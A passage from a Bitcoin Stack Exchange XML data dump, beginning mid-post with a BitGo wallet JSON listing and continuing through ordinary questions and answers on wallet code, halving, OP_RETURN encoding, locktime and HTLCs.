&quot;xpub661MyMwAqRbcH2AHKRsNyEv4euymBzY8P52NzeodZBBvG8zPtpLeEJmjD8xevZRrDLCyCr4TjmavB9TuAw69bDH3TkKNPyEQ2UBVrGg8uVq&quot;,&#xA;                 &quot;path&quot;: &quot;/0/0&quot;,&#xA;                 &quot;params&quot;: {&#xA;                    &quot;pubKey&quot;: &quot;038c20add130bf5d79fc1debc658e8866f5c69962efc15350941d18cc3b88c025f&quot;,&#xA;                    &quot;chainCode&quot;: &quot;f8e61f519f8e5363b24fe19912a25c90395a9189f59517d5c888c2b2eaefe4ba&quot;,&#xA;                    &quot;depth&quot;: 0,&#xA;                    &quot;index&quot;: 0,&#xA;                    &quot;parentFingerprint&quot;: 0&#xA;                 }&#xA;              },&#xA;              {&#xA;                 &quot;xpub&quot;: &quot;xpub6GiRC55CRvMEkcMvj2xtGSMhQzAys7EMV4gvqporNz5kSkzuqt3x25cnpvYWyR24y38WYij7eLr3xSQsBo7TBHWR27b5QZTrj5sVq5MMBVa&quot;,&#xA;                 &quot;path&quot;: &quot;/0/0&quot;,&#xA;                 &quot;params&quot;: {&#xA;                    &quot;pubKey&quot;: &quot;037e26f5594705a05a49e63dbd7eb98e0fb56d0f26b584c8e4fcdb15efd0239d62&quot;,&#xA;                    &quot;chainCode&quot;: &quot;984f19d3ae866a97a1b3a0bad1abf2a9aa77dbf50465180dee0cf8a8b73089c8&quot;,&#xA;                    &quot;depth&quot;: 5,&#xA;                    &quot;index&quot;: 58401,&#xA;                    &quot;parentFingerprint&quot;: 2966462100&#xA;                 }&#xA;              },&#xA;              {&#xA;                 &quot;xpub&quot;: &quot;xpub661MyMwAqRbcGdVpPbFpvi37Ziteqj4JY3uEoV6XijMAk62Pgs2jK3bRPPVjKg4AtwbZ6xiMMHD56oHCdGQwqtWNZgwSWefw9edex9aJ9KC&quot;,&#xA;                 &quot;path&quot;: &quot;/0/0&quot;,&#xA;                 &quot;params&quot;: {&#xA;                    &quot;pubKey&quot;: &quot;03b323e0b6ebb0cbb845be13c5a090c4648de18c090382e899e66c389c0f6451fc&quot;,&#xA;                    &quot;chainCode&quot;: &quot;d1a6e364a4b44764190148e725a8c584583743d31df2d06439b70016e19799b5&quot;,&#xA;                    &quot;depth&quot;: 0,&#xA;                    &quot;index&quot;: 0,&#xA;                    &quot;parentFingerprint&quot;: 0&#xA;                 }&#xA;              }&#xA;           ]&#xA;        },&#xA;        &quot;canSendInstant&quot;: true,&#xA;        &quot;permissions&quot;: &quot;admin,spend,view&quot;,&#xA;        &quot;admin&quot;: {&#xA;           &quot;users&quot;: [&#xA;              {&#xA;                 &quot;user&quot;: &quot;56f9e3b2cd8f2e5906530948fe1af2d2&quot;,&#xA;                 &quot;permissions&quot;: &quot;admin,spend,view&quot;&#xA;              }&#xA;           ]&#xA;        },&#xA;        &quot;tags&quot;: [],&#xA;        &quot;approvalsRequired&quot;: 1,&#xA;        &quot;spendingAccount&quot;: true,&#xA;        &quot;pendingApprovals&quot;: [],&#xA;        &quot;balance&quot;: 533000000,&#xA;        &quot;instantBalance&quot;: 0,&#xA;        &quot;spendableConfirmedBalance&quot;: 0,&#xA;        &quot;confirmedBalance&quot;: 0,&#xA;        &quot;spendableBalance&quot;: 0,&#xA;        &quot;sent&quot;: 0,&#xA;        &quot;received&quot;: 533000000,&#xA;        &quot;unconfirmedSends&quot;: 0,&#xA;        &quot;unconfirmedReceives&quot;: 533000000&#xA;     },&#xA;     {&#xA;        &quot;_id&quot;: &quot;5726858f42929c5c066825b6cc7f9d96&quot;,&#xA;        &quot;id&quot;: &quot;2My1FGBG6erNXfzeGXg5DXnLk2PWxhpk9SL&quot;,&#xA;        &quot;label&quot;: &quot;123labeling&quot;,&#xA;        &quot;isActive&quot;: true,&#xA;        &quot;type&quot;: &quot;safehd&quot;,&#xA;        &quot;freeze&quot;: {},&#xA;        &quot;adminCount&quot;: 1,&#xA;        &quot;disableTransactionNotifications&quot;: false,&#xA;        &quot;private&quot;: {&#xA;           &quot;keychains&quot;: [&#xA;              {&#xA;                 &quot;xpub&quot;: &quot;xpub661MyMwAqRbcG8zA12U9YnJU3fSxoCq857uMcFon6ViZdYMSeXbeVUGtGkBCasmE3SGdJVRr4ui1V8TzsmM7K6eKikSi9gZQiJXoVumGTnU&quot;,&#xA;                 &quot;path&quot;: &quot;/0/0&quot;,&#xA;                 &quot;params&quot;: {&#xA;                    &quot;pubKey&quot;: &quot;031ec65814f7e46e274a78671f6ed2b945c386e378160b19613ce8ba555e793635&quot;,&#xA;                    &quot;chainCode&quot;: &quot;a046f6f6ea9fd06974b333e87a483c9c3cbdeb41c0e56c8f21a6954f9f95e387&quot;,&#xA;                    &quot;depth&quot;: 0,&#xA;                    &quot;index&quot;: 0,&#xA;                    &quot;parentFingerprint&quot;: 0&#xA;                 }&#xA;              },&#xA;              {&#xA;                 &quot;xpub&quot;: &quot;xpub6GiRC55CRvMEnS2CtwqrMNKDnpsogbX1tukjM2xWyW1PttVLSEVgDiJq7bWh6esAQWeQ9oGNR56RHqwzKLCzzneM6DGq91v8sA9DAJbUbtm&quot;,&#xA;                 &quot;path&quot;: &quot;/0/0&quot;,&#xA;                 &quot;params&quot;: {&#xA;                    &quot;pubKey&quot;: &quot;027f30812a8f33ffeb44515d0fe9cc99041c2369f407ecc537d492d34da48c29d2&quot;,&#xA;                    &quot;chainCode&quot;: &quot;4f493067187019f78a773e3e559c699b98c0e82a53cbf76cf9ba5db8103062a0&quot;,&#xA;                    &quot;depth&quot;: 5,&#xA;                    &quot;index&quot;: 58402,&#xA;                    &quot;parentFingerprint&quot;: 2966462100&#xA;                 }&#xA;              },&#xA;              {&#xA;                 &quot;xpub&quot;: &quot;xpub661MyMwAqRbcF6cBQfmTER34dwShTVu6x2h24nxhHxMX3jAHCP9DJYuLcHABvaMeaBcSMdcte8mhAMnCcBCypK5iGe6H33aUH8JWbstSKP9&quot;,&#xA;                 &quot;path&quot;: &quot;/0/0&quot;,&#xA;                 &quot;params&quot;: {&#xA;                    &quot;pubKey&quot;: &quot;02ec33597217f00f1ad5689b0abbfd01d850c921d4560d1333f52f9f70eea2aafd&quot;,&#xA;                    &quot;chainCode&quot;: &quot;37b746ccdf38587d6a943f8007ef9e3012f52c73079f53c094f446cd43f9bb4f&quot;,&#xA;                    &quot;depth&quot;: 0,&#xA;                    &quot;index&quot;: 0,&#xA;                    &quot;parentFingerprint&quot;: 0&#xA;                 }&#xA;              }&#xA;           ]&#xA;        },&#xA;        &quot;canSendInstant&quot;: true,&#xA;        &quot;permissions&quot;: &quot;admin,spend,view&quot;,&#xA;        &quot;admin&quot;: {&#xA;           &quot;users&quot;: [&#xA;              {&#xA;                 &quot;user&quot;: &quot;56f9e3b2cd8f2e5906530948fe1af2d2&quot;,&#xA;                 &quot;permissions&quot;: &quot;admin,spend,view&quot;&#xA;              }&#xA;           ]&#xA;        },&#xA;        &quot;tags&quot;: [],&#xA;        &quot;approvalsRequired&quot;: 1,&#xA;        &quot;spendingAccount&quot;: true,&#xA;        &quot;pendingApprovals&quot;: [],&#xA;        &quot;balance&quot;: 30000000,&#xA;        &quot;instantBalance&quot;: 0,&#xA;        &quot;spendableConfirmedBalance&quot;: 0,&#xA;        &quot;confirmedBalance&quot;: 0,&#xA;        &quot;spendableBalance&quot;: 0,&#xA;        &quot;sent&quot;: 0,&#xA;        &quot;received&quot;: 30000000,&#xA;        &quot;unconfirmedSends&quot;: 0,&#xA;        &quot;unconfirmedReceives&quot;: 30000000&#xA;     },&#xA;     {&#xA;        &quot;_id&quot;: &quot;5726855c0cb29c5b060918484524d6d9&quot;,&#xA;        &quot;id&quot;: &quot;2N3qPHp7bNaL4hiztrzZCzCywryKUzb5aLE&quot;,&#xA;        &quot;label&quot;: &quot;123labeling&quot;,&#xA;        &quot;isActive&quot;: true,&#xA;        &quot;type&quot;: &quot;safehd&quot;,&#xA;        &quot;freeze&quot;: {},&#xA;        &quot;adminCount&quot;: 1,&#xA;        &quot;disableTransactionNotifications&quot;: false,&#xA;        &quot;private&quot;: {&#xA;           &quot;keychains&quot;: [&#xA;              {&#xA;                 &quot;xpub&quot;: &quot;xpub661MyMwAqRbcFcyTCTTNVmYcAmPJ2yRJanFPv9To7n1wk5cZmgUpzY16pAz9m6XriziHnk6c4Y2Hov9HJSmWPSHdmSLn9KNBLMr5Qi29HGN&quot;,&#xA;                 &quot;path&quot;: &quot;/0/0&quot;,&#xA;                 &quot;params&quot;: {&#xA;                    &quot;pubKey&quot;: &quot;032536e93aa4cd5feb0706d118b6ecf695d26544c00f92a2fb36ef9208ee216821&quot;,&#xA;                    &quot;chainCode&quot;: &quot;6c4dbaed05b8a09d2d64c3688e3fb53f12e62ef64b70ad808a700830e2063bb2&quot;,&#xA;                    &quot;depth&quot;: 0,&#xA;                    &quot;index&quot;: 0,&#xA;                    &quot;parentFingerprint&quot;: 0&#xA;                 }&#xA;              },&#xA;              {&#xA;                 &quot;xpub&quot;: &quot;xpub6GiRC55CRvMEhQVtxhHwwpmG7NVyjT1SUuyYXfafsRDW4XoYRwzPp6Af5vY83hLN8vaFCzk9FdtUqdeXoQbS7fXNJU3eFYPnU1bfkjimsT4&quot;,&#xA;                 &quot;path&quot;: &quot;/0/0&quot;,&#xA;                 &quot;params&quot;: {&#xA;                    &quot;pubKey&quot;: &quot;035d12105eab700c637ca9fbbea066beca88c6603f90f98c07a9e5b84713d6ff20&quot;,&#xA;                    &quot;chainCode&quot;: &quot;5670e6ede3379f33cc635981c7fbe9255c3f69a5e4868e5491e42bf3d5fb380a&quot;,&#xA;                    &quot;depth&quot;: 5,&#xA;                    &quot;index&quot;: 58400,&#xA;                    &quot;parentFingerprint&quot;: 2966462100&#xA;                 }&#xA;              },&#xA;              {&#xA;                 &quot;xpub&quot;: &quot;xpub661MyMwAqRbcEZBgr8PUbKfGBaQ98GFp2wGdR6vDwTAzruGenMnn3PqDo9MMmzSsF8dFWgUfUUV1Yor2ErVrohBNHj9Ug81ih7VAohfnEQu&quot;,&#xA;                 &quot;path&quot;: &quot;/0/0&quot;,&#xA;                 &quot;params&quot;: {&#xA;                    &quot;pubKey&quot;: &quot;024f7b2f85a3e0b859c4bdb975f9953973de4806300b2148afec66fb610af380a7&quot;,&#xA;                    &quot;chainCode&quot;: &quot;014ce166076a6045fb5a88fa4a51052d13c5449a4367d030e0f6bc058a9d0191&quot;,&#xA;                    &quot;depth&quot;: 0,&#xA;                    &quot;index&quot;: 0,&#xA;                    &quot;parentFingerprint&quot;: 0&#xA;                 }&#xA;              }&#xA;           ]&#xA;        },&#xA;        &quot;canSendInstant&quot;: true,&#xA;        &quot;permissions&quot;: &quot;admin,spend,view&quot;,&#xA;        &quot;admin&quot;: {&#xA;           &quot;users&quot;: [&#xA;              {&#xA;                 &quot;user&quot;: &quot;56f9e3b2cd8f2e5906530948fe1af2d2&quot;,&#xA;                 &quot;permissions&quot;: &quot;admin,spend,view&quot;&#xA;              }&#xA;           ]&#xA;        },&#xA;        &quot;tags&quot;: [],&#xA;        &quot;approvalsRequired&quot;: 1,&#xA;        &quot;spendingAccount&quot;: true,&#xA;        &quot;pendingApprovals&quot;: [],&#xA;        &quot;balance&quot;: 330000000,&#xA;        &quot;instantBalance&quot;: 0,&#xA;        &quot;spendableConfirmedBalance&quot;: 0,&#xA;        &quot;confirmedBalance&quot;: 0,&#xA;        &quot;spendableBalance&quot;: 0,&#xA;        &quot;sent&quot;: 0,&#xA;        &quot;received&quot;: 330000000,&#xA;        &quot;unconfirmedSends&quot;: 0,&#xA;        &quot;unconfirmedReceives&quot;: 330000000&#xA;     }&#xA;     ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hoping that someone has done something like this and can easily spot the error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers !&lt;/p&gt;&#xA;" OwnerUserId="35262" LastEditorUserId="35262" LastEditDate="2016-05-02T18:27:49.907" LastActivityDate="2017-03-29T08:03:30.123" Title="Bitcoin - BitGO - Save all wallet objects into Array of Objects" Tags="|wallet|nodes|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43954" PostTypeId="2" ParentId="43952" CreationDate="2016-05-02T18:17:40.280" Score="0" Body="&lt;p&gt;This would not work because the man in the middle's public key would not hash to the bitcoin address that owns the coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What a man in the middle can do is perform a padding attack which has largely been compensated for, but caused a lot of problems when it first came out. See more &lt;a href=&quot;https://bitcoin.stackexchange.com/a/21995/2630&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2630" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2016-05-02T18:17:40.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43955" PostTypeId="1" CreationDate="2016-05-02T20:32:45.980" Score="1" ViewCount="276" Body="&lt;p&gt;So I don't understand the halving very well, will miners just make half as much? Will the price double or the difficulty change? Will bitcoin mining just become so hard it ceases to be cost effective? Am I making a mistake getting into bitcoin mining? Will people just switch to a altcoin?&lt;/p&gt;&#xA;" OwnerUserId="35268" LastActivityDate="2016-06-10T09:59:50.077" Title="Will mining be viable after the halving?" Tags="|mining-profitability|mining-hardware|altcoin|mining-reward|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43956" PostTypeId="2" ParentId="43955" CreationDate="2016-05-02T20:46:41.820" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/38998/5406&quot;&gt;The block subsidy, i.e. the amount of newly created bitcoins per block, will half.&lt;/a&gt; Transaction fees are not affected by the halving. The exchange price of Bitcoin is up to market mechanisms. The halving doesn't change the difficulty. So, yes, probably the value of the mining reward will drop significantly between block 419,999 and 420,000.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/41276/5406&quot;&gt;Mining already is infeasible at home.&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/2154/5406&quot;&gt;Yes, you're making a mistake getting into Bitcoin mining.&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/2154/5406&quot;&gt;Personally, I doubt that any altcoin will be successful.&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2016-05-02T21:25:50.437" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="43957" PostTypeId="2" ParentId="43952" CreationDate="2016-05-02T21:13:14.383" Score="2" Body="&lt;p&gt;In order for the transaction to be valid it has to have valid signatures from the public keys associated with the funds being transferred. It is regarded to be computationally unfeasible for a middleman to forge a signature if he does not possess the private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These signatures are specific to the transaction and ensure its integrity, i.e., if the transaction is modified (by replacing recipient, amount, ...) then the signature becomes invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a small exception to the last point: a signature cannot ensure the integrity of the signature itself, hence we have some minor problems with transaction malleability in which the transaction signature can be modified, but not its effects.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-05-02T21:13:14.383" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="43958" PostTypeId="2" ParentId="43949" CreationDate="2016-05-02T23:03:44.563" Score="0" Body="&lt;p&gt;It could vary well be an issue with the app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To test if its the app or the public/private keys you can generate a qr code for each using an external qr generator such as &lt;a href=&quot;http://barcode.tec-it.com/en&quot; rel=&quot;nofollow&quot;&gt;http://barcode.tec-it.com/en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If you aren't able to sweep/scan the newly created &quot;paper wallet&quot; then its an issue with the app.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Another issue could be the funds haven't been verified by any other nodes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Probability suggest that you missed typed the address or key. (It happens more then you think.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Check these things. once you are sure that its non of these update your post with more info.&lt;/p&gt;&#xA;" OwnerUserId="34213" LastActivityDate="2016-05-02T23:03:44.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43959" PostTypeId="1" AcceptedAnswerId="43968" CreationDate="2016-05-02T23:07:09.680" Score="0" ViewCount="135" Body="&lt;p&gt;I would like to know if its possible to use a Bitcoin at present in the following scenario. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I send a Bitcoin to an another user,I set certain parameters on the Bitcoin, like it can only be used from this particular date to an another particular date. And restrict the usage of Bitcoin if its being used some other time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I use it like this ?&lt;/p&gt;&#xA;" OwnerUserId="34941" LastEditorUserId="34941" LastEditDate="2016-05-05T14:26:51.187" LastActivityDate="2016-05-05T14:26:51.187" Title="Restrict the Bitcoin usage only during a particular period" Tags="|transactions|blockchain|doublespend|locktime|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43960" PostTypeId="1" AcceptedAnswerId="43962" CreationDate="2016-05-02T23:35:51.113" Score="2" ViewCount="231" Body="&lt;p&gt;I was reading &lt;a href=&quot;https://bitcoin.stackexchange.com/a/29555/35271&quot;&gt;this&lt;/a&gt; very useful explanation of what an OP_RETURN transaction looks like and got tripped up by part of it. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &quot;hex&quot; : &quot;6a13636861726c6579206c6f766573206865696469&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This first byte it followed by a byte which represents the length of the rest of the bytes in the scriptPubKey. In this case we see the hex value Ox13, which means there are 19 more bytes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But there are 38 bytes following the hex value 0x13. Why the discrepency? I'm pretty sure I'm missing something obvious and I'd have asked in a comment on the answer itself but I haven't enough rep points. Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="35271" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2016-05-03T14:01:25.393" Title="Question regarding the number of bytes in an OP_RETURN transaction" Tags="|script|op-return|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43961" PostTypeId="2" ParentId="43953" CreationDate="2016-05-03T00:44:44.053" Score="1" Body="&lt;p&gt;Silly me, didn't push wallet results...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the working code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  var bitgo = new BitGoJS.BitGo();&#xA;&#xA;  var listWallets = function() {&#xA;&#xA;  User.find({}, function(err, docs) {&#xA;  if (err) {console.log('Could not find Wallets in DB');} else { &#xA;    var allWallets = [];&#xA;    var allTXS = [];&#xA;&#xA;  docs.forEach(function(address) {&#xA;    // console.log(address);&#xA;    allWallets.push(address.playerWallet);&#xA;  });&#xA;&#xA;             console.log(allWallets); &#xA;    //   ALL ADDRESSEs EACH IN ITS OWN ARRAY&#xA;    //[ '2N3qPHp7bNaL4hiztrzZCzCywryKUzb5aLE' ]&#xA;    //[ '2N2oG4nBJZU19Aks3MLvHqDKMXePmHhbEjC' ]&#xA;    //[ '2My1FGBG6erNXfzeGXg5DXnLk2PWxhpk9SL' ]&#xA;&#xA;    // Don't know how to use a better method that calls back recursively and sums all 3 obj received into an array....&#xA;    for( var iteration in allWallets){ &#xA;&#xA;          // console.log(allWallets[iteration]); &#xA;    //  '2N3qPHp7bNaL4hiztrzZCzCywryKUzb5aLE'&#xA;    //  '2N2oG4nBJZU19Aks3MLvHqDKMXePmHhbEjC'&#xA;    //  '2My1FGBG6erNXfzeGXg5DXnLk2PWxhpk9SL'&#xA;&#xA;    // How to call a Recursive Callbacks or a Promise for bitgo.wallets().gest({}) while iterating multiple address?&#xA;        bitgo.wallets().get({ &quot;id&quot;: allWallets[iteration] }, function callback(err, wallet) { &#xA;          if (err) { throw err; }&#xA;          // console.log( address._id + ' ' + address.playerWallet + ' ' + 'BlockChain_Balance: ' + wallet.balance() / 1e8.toFixed(4) + ' DB_Balance: ' );&#xA;          allTXS.push(wallet);&#xA;&#xA;          jsonfile.writeFileSync(_24HourGame, allTXS, {spaces: 3});&#xA;              });&#xA;            }&#xA;&#xA;      }&#xA;    });&#xA;&#xA;   };&#xA;&#xA;   // Authenticate first&#xA;   bitgo.authenticate({ username: user, password: loginPassword, otp: otp }, function(err, result) {&#xA;     if (err) { console.dir(err); throw new Error(&quot;Could not authenticate!&quot;); }&#xA;     console.log(&quot;Unlocking account..&quot; );&#xA;     bitgo.unlock({ otp: otp }, function(err) {&#xA;       if (err) { console.dir(err); throw new Error(&quot;Could not unlock!&quot;); }&#xA;       listWallets();&#xA;       });&#xA;   });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help !&lt;/p&gt;&#xA;" OwnerUserId="35262" LastActivityDate="2016-05-03T00:44:44.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43962" PostTypeId="2" ParentId="43960" CreationDate="2016-05-03T01:51:57.730" Score="2" Body="&lt;p&gt;I found the answer on &lt;a href=&quot;https://en.wikipedia.org/wiki/Hexadecimal&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;One hexadecimal digit represents a nibble, which is half of an octet&#xA;  or byte (8 bits)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So two hex digits per byte. And a &quot;nibble&quot; for half a byte. I like that. :)&lt;/p&gt;&#xA;" OwnerUserId="35271" LastActivityDate="2016-05-03T01:51:57.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43963" PostTypeId="2" ParentId="43576" CreationDate="2016-05-03T03:00:09.437" Score="2" Body="&lt;p&gt;The closest you will come from the comfort of your home is an FPGA, which basically allows you to implement a customized circuit that is for you application. If you are not familiar with the SHA-256 hashing function and Bitcoins implementation of it, it could take you a long time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would never be better than simply buying an ASIC. It will not be more efficient. But if your goal is to learn, then you could try.&lt;/p&gt;&#xA;" OwnerUserId="24910" LastActivityDate="2016-05-03T03:00:09.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43964" PostTypeId="1" CreationDate="2016-05-03T03:31:22.813" Score="1" ViewCount="94" Body="&lt;p&gt;What will happen to the value of bitcoin in the immediate aftermath of an internet &quot;take-down?&quot;  I assume that it will be temporary, but wouldn't this cause the comparative price of bitcoin be adversely affected due to the panic?&lt;/p&gt;&#xA;" OwnerUserId="35276" LastEditorUserId="2306" LastEditDate="2016-05-04T14:46:52.507" LastActivityDate="2016-05-04T14:46:52.507" Title="How will internet &quot;take-down&quot; affect bitcoin value?" Tags="|network|" AnswerCount="1" CommentCount="6" ClosedDate="2016-05-04T15:31:36.630" ContentLicense="CC BY-SA 3.0" />
  <row Id="43965" PostTypeId="2" ParentId="41637" CreationDate="2016-05-03T07:10:37.070" Score="3" Body="&lt;p&gt;You can use the &lt;code&gt;importaddress&lt;/code&gt; functionality to make the Bitcoin Core wallet (bitcoind or bitcoin-qt) treat certain addresses as its own, even though it does not have the key for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will make them appear in the outputs of RPCs like &lt;code&gt;listtransactions&lt;/code&gt;, &lt;code&gt;getreceivedbyaddress&lt;/code&gt;, &lt;code&gt;listunspent&lt;/code&gt; and &lt;code&gt;getbalance&lt;/code&gt;. It will also trigger notifications through &lt;code&gt;-walletnotify&lt;/code&gt; and the recently added ZMQ mechanism.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-05-03T07:10:37.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43968" PostTypeId="2" ParentId="43959" CreationDate="2016-05-03T19:57:38.630" Score="3" Body="&lt;p&gt;This can be accomplished with a simple smart contract between you and the recipient using a transaction's &lt;code&gt;locktime&lt;/code&gt;.  Here are the steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a transaction to the recipient's address spending UTXO's (unspent transaction outputs) that you own, and setting the &lt;code&gt;locktime&lt;/code&gt; to the start date of your grace period.&lt;/li&gt;&#xA;&lt;li&gt;Create a second transaction spending the exact same UTXO's back to an address that you own, but without any &lt;code&gt;locktime&lt;/code&gt; restriction.&lt;/li&gt;&#xA;&lt;li&gt;Sign the first transaction, and give it to the recipient.&lt;/li&gt;&#xA;&lt;li&gt;When the grace period begins, the recipient can broadcast the transaction and receive the coins.&lt;/li&gt;&#xA;&lt;li&gt;When the grace period is over, sign and broadcast the second transaction.  If the first transaction has already been broadcast, it will be invalid and not relayed or included into a block.  If the first transaction has not been broadcast, then you will want to reclaim the coins, thus invalidating the first transaction.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This plan assumes that you are in control of the second transaction and paying attention, such that you remember to broadcast the second transaction.  It also assumes that the recipient trusts you to respect the grace period, and not broadcast your transaction until the time is up.  Problems like these could be solved with a more complex scheme involving multi-sig transactions and setting &lt;code&gt;locktime&lt;/code&gt; on both transactions, but it doesn't sound like you need anything that complex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_documentation#tx&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Protocol_documentation#tx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.org/en/developer-guide#signature-hash-types&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/developer-guide#signature-hash-types&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24974" LastActivityDate="2016-05-03T19:57:38.630" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="43969" PostTypeId="1" AcceptedAnswerId="43977" CreationDate="2016-05-03T23:17:34.210" Score="1" ViewCount="260" Body="&lt;p&gt;This answer to &lt;a href=&quot;https://bitcoin.stackexchange.com/a/43190/5406&quot;&gt;How is a node in the middle prohibited from keeping the money in a routed Payment in Lightning network?&lt;/a&gt; describes how a Hashed Timelock Contract would be used to exchange the &quot;secret&quot; for a payment. This sounds a lot like the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=1378318.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Zero-Knowledge Contingent Payment&lt;/a&gt; described by Greg Maxwell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would I be correct in assuming that the HTLC would be implemented including a ZKCP?&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2016-05-04T17:21:10.740" Title="Are Hashed Timelock Contracts and Zero-Knowledge Contingent Payments the same thing?" Tags="|cryptography|locktime|zero-knowledge|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43970" PostTypeId="2" ParentId="43877" CreationDate="2016-05-04T01:43:50.070" Score="0" Body="&lt;p&gt;I think the question is &quot;could you choose to mine for a block that contained only your own transactions.&quot; And I think the answer is yes, technically, but it won't make it any easier or faster, so you aren't gaining anything by doing so.&lt;/p&gt;&#xA;" OwnerUserId="29298" LastActivityDate="2016-05-04T01:43:50.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43971" PostTypeId="2" ParentId="43964" CreationDate="2016-05-04T03:41:57.213" Score="1" Body="&lt;p&gt;Of course, assuming you could actually pull it off (which is near impossible at this point, but assume you could) but also keep in mind that bitcoin doesn't actually &lt;em&gt;need&lt;/em&gt; the internet to continue working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In all honesty though, bitcoin's market price would be the least of our worries in the event of a total internet shut-down.&lt;/p&gt;&#xA;" OwnerUserId="31470" LastActivityDate="2016-05-04T03:41:57.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43972" PostTypeId="2" ParentId="29683" CreationDate="2016-05-04T04:23:46.803" Score="1" Body="&lt;p&gt;As the industry matures the general consumer will find it easier to use the underlying technology, Bitcoin. It might be as simple as swiping a card in the near future. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can buy for speculative purposes or because you believe it will be useful in the future. &lt;/p&gt;&#xA;" OwnerUserId="5863" LastActivityDate="2016-05-04T04:23:46.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
